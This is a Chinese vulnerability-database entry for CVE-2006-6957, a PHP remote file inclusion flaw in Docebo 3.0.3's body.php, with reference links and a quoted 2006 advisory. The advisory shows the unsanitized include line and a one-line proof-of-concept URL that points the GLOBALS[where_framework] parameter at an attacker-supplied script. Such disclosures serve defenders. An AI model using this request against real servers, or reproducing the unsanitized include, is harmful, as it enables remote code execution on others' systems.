Docebo 'body.php'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1191920 漏洞类型 代码注入
发布时间 2007-01-29 更新时间 2007-01-29
CVE编号 CVE-2006-6957 CNNVD-ID CNNVD-200701-501
漏洞平台 N/A CVSS评分 6.8
|漏洞来源
https://www.securityfocus.com/bid/87073
https://cxsecurity.com/issue/WLB-2007010109
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-501
|漏洞详情
Docebo3.0.3及之前版本的addons/mod_media/body.php中存在PHP远程文件包含漏洞。当register_globals被激活时,远程攻击者可以借助GLOBALS[where_framework]参数中的一个URL,执行任意的PHP代码。
|漏洞EXP
-----------------------------------------------------
Advisory id: FSA:008

Author:    Federico Fazzi
Date:	   09/06/2006, 6:44
Sinthesis: Docebo Core 3.0.3, Remote command execution
Type:	   high
Product:   http://www.docebolms.org/
Patch:	   unavailable
-----------------------------------------------------

1) Description:

Error occured in body.php,

include_once($GLOBALS['where_framework']."/lib/lib.upload.php");

The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized

2) Proof of concept:

http://example/[dc_path]/addons/mod_media/body.php?GLOBALS[where_framework]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]
|受影响的产品
Docebo Docebo 3.0.3
|参考资料

来源:OSVDB
名称:26710
链接:http://www.osvdb.org/26710
来源:BUGTRAQ
名称:20060608DoceboCore3.0.3,Remotecommandexecution
链接:http://archives.neohapsis.com/archives/bugtraq/2006-06/0109.html
来源:SREASON
名称:2194
链接:http://securityreason.com/securityalert/2194